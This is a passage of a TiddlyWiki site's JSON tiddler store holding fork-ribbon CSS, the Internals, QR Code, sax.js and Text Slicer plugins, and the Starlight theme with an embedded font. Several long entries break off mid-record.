-moz-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: -o-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: -ms-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n filter: progid:DXImageTransform.Microsoft.gradient(GradientType=0,StartColorStr='#000000', EndColorStr='#000000');\\n\\n /* Add a drop shadow */\\n -webkit-box-shadow: 0px 2px 3px 0px rgba(0, 0, 0, 0.5);\\n box-shadow: 0px 2px 3px 0px rgba(0, 0, 0, 0.5);\\n\\n z-index: 999;\\n pointer-events: auto;\\n}\\n\\n.github-fork-ribbon a, .github-fork-ribbon a.tc-tiddlylink,\\n.github-fork-ribbon a:hover, .github-fork-ribbon a.tc-tiddlylink:hover {\\n /* Set the font */\\n font-family: \\\"Helvetica Neue\\\", Helvetica, Arial, sans-serif;\\n font-size: 13px;\\n font-weight: 700;\\n color: white;\\n\\n /* Set the text properties */\\n text-decoration: none;\\n text-shadow: 0 -1px rgba(0,0,0,0.5);\\n text-align: center;\\n\\n /* Set the geometry. If you fiddle with these you'll also need to tweak the top and right values in #github-fork-ribbon. */\\n width: 200px;\\n line-height: 20px;\\n\\n /* Set the layout properties */\\n display: inline-block;\\n padding: 2px 0;\\n\\n /* Add \\\"stitching\\\" effect */\\n border-width: 1px 0;\\n border-style: dotted;\\n border-color: rgba(255,255,255,0.7);\\n}\\n\\n.github-fork-ribbon-wrapper {\\n width: 150px;\\n height: 150px;\\n position: absolute;\\n overflow: hidden;\\n top: 0;\\n z-index: 999;\\n pointer-events: none;\\n}\\n\\n.github-fork-ribbon-wrapper.fixed {\\n position: fixed;\\n}\\n\\n.github-fork-ribbon-wrapper.left {\\n left: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.right {\\n right: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.left-bottom {\\n position: fixed;\\n top: inherit;\\n bottom: 0;\\n left: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.right-bottom {\\n position: fixed;\\n top: inherit;\\n bottom: 0;\\n right: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.right .github-fork-ribbon {\\n top: 42px;\\n right: -43px;\\n\\n /* Rotate the banner 45 degrees */\\n -webkit-transform: rotate(45deg);\\n -moz-transform: rotate(45deg);\\n -o-transform: rotate(45deg);\\n
{"created":"20230108212945823","text":"Copy appropriate chunks on a new tiddler and tag it `$:/tags/PageControls`. Name of the new tiddler does not matter. Only the tag matters.\n\n```\n\u003C!-- TOP RIGHT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper right\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- TOP RIGHT RIBBON: END COPYING HERE -->\n\n\u003C!-- TOP LEFT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper left\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- TOP LEFT RIBBON: END COPYING HERE -->\n\n\u003C!-- BOTTOM RIGHT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper right-bottom\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- BOTTOM RIGHT RIBBON: END COPYING HERE -->\n\n\u003C!-- BOTTOM LEFT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper left-bottom\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- BOTTOM LEFT RIBBON: END COPYING HERE -->\n```\n","title":"$:/plugins/tiddlywiki/github-fork-ribbon/usage","modified":"20230108212950099"},
{"title":"$:/plugins/tiddlywiki/internals","name":"Internals","description":"Tools for exploring the internals of TiddlyWiki","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/parse-tree\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/parse-tree\",\"tags\":\"$:/tags/EditPreview\",\"list-after\":\"$:/core/ui/EditTemplate/body/preview/output\",\"caption\":\"parse tree\",\"text\":\"\\\\define preview(mode)\\n\u003C$wikify name=\\\"preview-text\\\" text={{!!text}} type={{!!type}} mode=\\\"$mode$\\\" output=\\\"parsetree\\\">\\n\u003Cpre>\\n\u003Ccode>\\n\u003C$text text=\u003C\u003Cpreview-text>>/>\\n\u003C/code>\\n\u003C/pre>\\n\u003C/$wikify>\\n\\\\end\\n\\n{{||$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared}}\\n\"},\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/raw\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/raw\",\"tags\":\"$:/tags/EditPreview\",\"caption\":\"raw HTML\",\"list-after\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/widget-tree\",\"code-body\":\"yes\",\"text\":\"\u003Cpre>\u003Ccode>\u003C$view field=\\\"text\\\" format=\\\"htmlwikified\\\" />\u003C/code>\u003C/pre>\\n\"},\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared\",\"text\":\"\\\\define body()\\n\\nMode: \u003C$select tiddler=\\\"$(tv-mode-configuration)$\\\" default=\\\"block\\\">\\n\u003Coption value=\\\"inline\\\">Inline\u003C/option>\\n\u003Coption value=\\\"block\\\">Block\u003C/option>\\n\u003C/$select>\\n\\n\u003C$macrocall $name=\\\"preview\\\" mode={{$(tv-mode-configuration)$}}/>\\n\\\\end\\n\\n\u003Cdiv class=\\\"tc-internal-tree-preview-wrapper\\\">\\n\\n\u003Cdiv class=\\\"tc-internal-tree-preview\\\">\\n\\n\u003C$vars tv-mode-configuration=\u003C\u003Cqualify \\\"$:/state/internals/preview/mode\\\">>>\\n\\n\u003C\u003Cbody>>\\n\\n\u003C/$vars>\\n\\n\u003C/div>\\n\\n\u003C/div>\\n\"},\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/widget-tree\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/widget-tree\",\"tags\":\"$:/tags/EditPreview\",\"caption\":\"widget tree\",\"list-after\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/parse-tree\",\"text\":\"\\\\define preview(mode)\\n\u003C$wikify name=\\\"preview-text\\\" text={{!!text}} type={{!!type}} mode=\\\"$mode$\\\" output=\\\"widgettree\\\">\\n\u003Cpre>\\n\u003Ccode>\\n\u003C$text text=\u003C\u003Cpreview-text>>/>\\n\u003C/code>\\n\u003C/pre>\\n\u003C/$wikify>\\n\\\\end\\n\\n{{||$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared}}\\n\"},\"$:/plugins/tiddlywiki/internals/readme\":{\"title\":\"$:/plugins/tiddlywiki/internals/readme\",\"text\":\"This plugin adds features to help explore the internals of TiddlyWiki:\\n\\n* New preview panes showing:\\n** the parse tree\\n** the widget tree\\n** the raw HTML output\\n\\nThe first two include a dropdown for choosing block vs. inline parsing mode.\\n\"},\"$:/plugins/tiddlywiki/internals/styles\":{\"title\":\"$:/plugins/tiddlywiki/internals/styles\",\"tags\":\"$:/tags/Stylesheet\",\"text\":\"\\\\rules only filteredtranscludeinline transcludeinline macrodef macrocallinline macrocallblock\\n\"}}}"},
{"title":"$:/plugins/tiddlywiki/qrcode","name":"QR Code","description":"QR Code generator","author":"Zeno Zeng","list":"readme usage examples license","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/qrcode/MakeContactQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeContactQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Contact\",\"text\":\"\\\\define wifi-url()\\nWIFI:wifi name;T:WPA;S:SSID;P:password;\\n\\\\end\\n\\n\\\\define image(firstname,lastname,address,tel,email)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"MECARD:N:$lastname$,$firstname$;ADR:$address$;TEL:$tel$;EMAIL:$email$;;\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the contact details\\n\\nFirst name: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/firstname\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nLast name: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/lastname\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nAddress: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/address\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nTelephone: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/tel\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nEmail: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/email\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" firstname={{$:/config/plugins/tiddlywiki/qrcode/contact/firstname}} lastname={{$:/config/plugins/tiddlywiki/qrcode/contact/lastname}} address={{$:/config/plugins/tiddlywiki/qrcode/contact/address}} tel={{$:/config/plugins/tiddlywiki/qrcode/contact/tel}} email={{$:/config/plugins/tiddlywiki/qrcode/contact/email}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/MakeGenericQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeGenericQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Generic\",\"text\":\"\\\\define image(content)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"$content$\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the details\\n\\nYou can also use this form to encode URLs.\\n\\n\u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/generic\\\" default=\\\"\\\" class=\\\"tc-edit-texteditor\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" content={{$:/config/plugins/tiddlywiki/qrcode/generic}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/MakeWifiQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeWifiQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Wifi\",\"text\":\"\\\\define wifi-url()\\nWIFI:T:WPA;S:SSID;P:password;;\\n\\\\end\\n\\n\\\\define image(network,encryption,ssid,password)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"WIFI:T:$encryption$;S:$ssid$;P:$password$;;\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the details of your wifi network\\n\\nEncryption: \u003C$select tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/encryption\\\" default=\\\"none\\\">\\n\u003Coption value=\\\"none\\\">None\u003C/option>\\n\u003Coption value=\\\"WEP\\\">WEP\u003C/option>\\n\u003Coption value=\\\"WPA\\\">WPA\u003C/option>\\n\u003Coption value=\\\"WPA2\\\">WPA2\u003C/option>\\n\u003C/$select>\\n\\nSSID: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/ssid\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nPassword: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/password\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" network={{$:/config/plugins/tiddlywiki/qrcode/wifi/network}} encryption={{$:/config/plugins/tiddlywiki/qrcode/wifi/encryption}} ssid={{$:/config/plugins/tiddlywiki/qrcode/wifi/ssid}} password={{$:/config/plugins/tiddlywiki/qrcode/wifi/password}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/ViewToolbarButton\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/ViewToolbarButton\",\"tags\":\"$:/tags/ViewToolbar\",\"list-before\":\"$:/core/ui/Buttons/close\",\"caption\":\"{{$:/plugins/tiddly
{"title":"$:/plugins/tiddlywiki/sax","name":"sax js","description":"sax.js library","author":"Isaac Z. Schlueter","list":"readme license","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/sax/sax.js\":{\"text\":\";(function (sax) { // wrapper for non-node envs\\n sax.parser = function (strict, opt) { return new SAXParser(strict, opt) }\\n sax.SAXParser = SAXParser\\n sax.SAXStream = SAXStream\\n sax.createStream = createStream\\n\\n // When we pass the MAX_BUFFER_LENGTH position, start checking for buffer overruns.\\n // When we check, schedule the next check for MAX_BUFFER_LENGTH - (max(buffer lengths)),\\n // since that's the earliest that a buffer overrun could occur. This way, checks are\\n // as rare as required, but as often as necessary to ensure never crossing this bound.\\n // Furthermore, buffers are only tested at most once per write(), so passing a very\\n // large string into write() might have undesirable effects, but this is manageable by\\n // the caller, so it is assumed to be safe. Thus, a call to write() may, in the extreme\\n // edge case, result in creating at most one complete copy of the string passed in.\\n // Set to Infinity to have unlimited buffers.\\n sax.MAX_BUFFER_LENGTH = 64 * 1024\\n\\n var buffers = [\\n 'comment', 'sgmlDecl', 'textNode', 'tagName', 'doctype',\\n 'procInstName', 'procInstBody', 'entity', 'attribName',\\n 'attribValue', 'cdata', 'script'\\n ]\\n\\n sax.EVENTS = [\\n 'text',\\n 'processinginstruction',\\n 'sgmldeclaration',\\n 'doctype',\\n 'comment',\\n 'opentagstart',\\n 'attribute',\\n 'opentag',\\n 'closetag',\\n 'opencdata',\\n 'cdata',\\n 'closecdata',\\n 'error',\\n 'end',\\n 'ready',\\n 'script',\\n 'opennamespace',\\n 'closenamespace'\\n ]\\n\\n function SAXParser (strict, opt) {\\n if (!(this instanceof SAXParser)) {\\n return new SAXParser(strict, opt)\\n }\\n\\n var parser = this\\n clearBuffers(parser)\\n parser.q = parser.c = ''\\n parser.bufferCheckPosition = sax.MAX_BUFFER_LENGTH\\n parser.opt = opt || {}\\n parser.opt.lowercase = parser.opt.lowercase || parser.opt.lowercasetags\\n parser.looseCase = parser.opt.lowercase ? 'toLowerCase' : 'toUpperCase'\\n parser.tags = []\\n parser.closed = parser.closedRoot = parser.sawRoot = false\\n parser.tag = parser.error = null\\n parser.strict = !!strict\\n parser.noscript = !!(strict || parser.opt.noscript)\\n parser.state = S.BEGIN\\n parser.strictEntities = parser.opt.strictEntities\\n parser.ENTITIES = parser.strictEntities ? Object.create(sax.XML_ENTITIES) : Object.create(sax.ENTITIES)\\n parser.attribList = []\\n\\n // namespaces form a prototype chain.\\n // it always points at the current tag,\\n // which protos to its parent tag.\\n if (parser.opt.xmlns) {\\n parser.ns = Object.create(rootNS)\\n }\\n\\n // mostly just for error reporting\\n parser.trackPosition = parser.opt.position !== false\\n if (parser.trackPosition) {\\n parser.position = parser.line = parser.column = 0\\n }\\n emit(parser, 'onready')\\n }\\n\\n if (!Object.create) {\\n Object.create = function (o) {\\n function F () {}\\n F.prototype = o\\n var newf = new F()\\n return newf\\n }\\n }\\n\\n if (!Object.keys) {\\n Object.keys = function (o) {\\n var a = []\\n for (var i in o) if (o.hasOwnProperty(i)) a.push(i)\\n return a\\n }\\n }\\n\\n function checkBufferLength (parser) {\\n var maxAllowed = Math.max(sax.MAX_BUFFER_LENGTH, 10)\\n var maxActual = 0\\n for (var i = 0, l = buffers.length; i \u003C l; i++) {\\n var len = parser[buffers[i]].length\\n if (len > maxAllowed) {\\n // Text/cdata nodes can get big, and since they're buffered,\\n // we can get here under normal conditions.\\n // Avoid issues by emitting the text node now,\\n // so at least it won't get any bigger.\\n
{"title":"$:/plugins/tiddlywiki/text-slicer","name":"Text Slicer","description":"Tools for slicing text into tiddlers","list":"readme docs","dependents":"$:/plugins/tiddlywiki/sax","version":"5.2.3","plugin-type":"plugin","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/text-slicer/docs/exporters\":{\"title\":\"$:/plugins/tiddlywiki/text-slicer/docs/exporters\",\"tags\":\"$:/plugins/tiddlywiki/text-slicer/docs\",\"caption\":\"Exporters\",\"text\":\"Documents can be saved under Node.js, or previewed in the browser.\\n\\n[TBD]\\n\"},\"$:/plugins/tiddlywiki/text-slicer/docs/internals\":{\"title\":\"$:/plugins/tiddlywiki/text-slicer/docs/internals\",\"tags\":\"$:/plugins/tiddlywiki/text-slicer/docs\",\"caption\":\"Internals\",\"text\":\"! Introduction\\n\\nThe slicing process is performed by a simple automaton that scans the document and applies simple declarative rules to yield a collection of tiddlers.\\n\\nThe automaton processes the incoming XML document starting with the root element and then recursively visits each child node and their children. Actions are triggered as each component of the document is encountered:\\n\\n* Opening tags of elements\\n* Closing tags of elements\\n* Text nodes\\n\\nComponents are matched against the current set of rules to determine what actions should be performed. They can include a combination of:\\n\\n* Starting a new tiddler with specified fields\\n* Rendering the markup for the current tag into the current tiddler\\n* Appending the content of the current text node to the current tiddler\\n* Threading tiddlers to their parents using a combination of the `list` and `tags` fields\\n\\n! Slicing State Data\\n\\nAs the automaton performs its scan, it maintains the following state information:\\n\\n* ''chunks'' - an array of tiddlers without titles, addressed by their numeric index. The title field is reused to hold the plain text of the chunk that is later used to generate the final title for the tiddler\\n* ''currentChunk'' - the numeric index of the chunk currently being filled, or `null` if there is no current chunk\\n* ''parentStack'' - a stack of parent chunks stored as `{chunk: \u003Cchunk-index>, actions: \u003Cactions>}`\\n\\nAt the start, the special document chunk is created and pushed onto the stack of parent chunks\\n\\n! Slicing Rules\\n\\nSlicing rules are maintained in tiddlers tagged `$:/tags/text-slicer/slicer-rules` with the following fields:\\n\\n* ''title'' - title of the tiddler containing the listof rules\\n* ''name'' - short, human readable name for the set of rules\\n* ''inherits-from'' - (optional) the ''name'' field of another set of rules that should be inherited as a base\\n* ''text'' - JSON data as described below\\n\\nThe JSON data is an array of rules, each of which is an object with the following fields:\\n\\n* ''selector'' - a selector string identifying the components to be matched by this rule\\n* ''actions'' - an object describing the actions to be performed when this selector matches a tag\\n\\n!! Selectors\\n\\nThe selector format is a simplified form of CSS selectors. They are specified as follows:\\n\\n* A ''selector'' is a list of one or more ''match expressions'' separated by commas. The rule is triggered if any of the match expressions produce a positive match\\n* A ''match expression'' is a list of one or element ''tag names'' separated by spaces. The rule is triggered if the final tag name in the list matches the tag of the current element, and all of the preceding tags in the expression exist as ancestors of the current element in the specified order (but not necessarily as immediate children of one another)\\n* A ''tag name'' is the textual name of an element\\n* Tag names in match expressions may optionally be separated by a `>` sign surrounded by spaces to impose the requirement that the left hand element be the immediate parent of the right hand element\\n\\n!!! Example Selectors\\n\\nThis XML document will be used to illustrate some examples:\\n\\n```\\n\u003Ca>\\n \u003Cb>\\n \u003Cd>one\u003C/d>\\n \u003C/
{"created":"20221109160736203","title":"$:/plugins/tiddlywiki/text-slicer/ui/slice-toolbar-button","tags":"$:/tags/ViewToolbar","caption":"{{$:/plugins/tiddlywiki/text-slicer/images/text-slicer-icon}} Slice text tiddler","description":"Slice this text tiddler by headings and lists","text":"\\whitespace trim\n\n\\define hint()\nSlice this text tiddler into chunks\n\\end\n\n\u003C$list filter=\"[\u003CcurrentTiddler>!is[image]!is[binary]]\" variable=\"ignore\">\n\u003C$button tooltip=\u003C\u003Chint>> aria-label=\u003C\u003Chint>> class=\u003C\u003Ctv-config-toolbar-class>>>\n\u003C$action-sendmessage $message=\"tm-modal\" $param=\"$:/plugins/tiddlywiki/text-slicer/ui/slice-modal\" currentTiddler=\u003C\u003CcurrentTiddler>>/>\n\u003C$list filter=\"[\u003Ctv-config-toolbar-icons>match[yes]]\">\n{{$:/plugins/tiddlywiki/text-slicer/images/text-slicer-icon}}\n\u003C/$list>\n\u003C$list filter=\"[\u003Ctv-config-toolbar-text>match[yes]]\">\n\u003Cspan class=\"tc-btn-text\">Slice tiddler\u003C/span>\n\u003C/$list>\n\u003C/$button>\n\u003C/$list>\n","modified":"20221109160736203"},
{"created":"20220920084517972","text":"Octt Knowledge Base || // Static version available at [ext[./Static.html]].//","title":"$:/SiteSubtitle","modified":"20230110220531245"},
{"created":"20230111090705398","text":"\u003C$list filter=\"[all[current]!is[system]is[missing]]\" variable=~>\n \u003C$button>\n Great features todo!\n\u003C!--\n \u003C$action-setfield object-type=\"todo\"/>\n Make Todo\n--->\n \u003C/$button>\n\u003C/$list>","tags":"$:/tags/ViewTemplate TODO","title":"$:/Styles/View/10-Missing.xml","modified":"20230111145028282"},
{"title":"$:/themes/tiddlywiki/starlight","name":"Starlight","author":"JeremyRuston","core-version":">=5.0.0","plugin-type":"theme","description":"Example alternative theme","dependents":"$:/themes/tiddlywiki/snowwhite","version":"5.2.3","type":"application/json","text":"{\"tiddlers\":{\"$:/themes/tiddlywiki/starlight/arvo.woff\":{\"title\":\"$:/themes/tiddlywiki/starlight/arvo.woff\",\"text\":\"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
{"created":"20230110204807987","text":"\u003C!--\nDemo of a control panel tab dynamically loaded with a theme.\n--->\n{{$:/OcttKB/Tweaks/Starlight.cfg}}","title":"$:/themes/tiddlywiki/starlight/themetweaks","tags":"$:/tags/ControlPanel/Appearance","caption":"Star Tweaks","modified":"20230110205238423"},
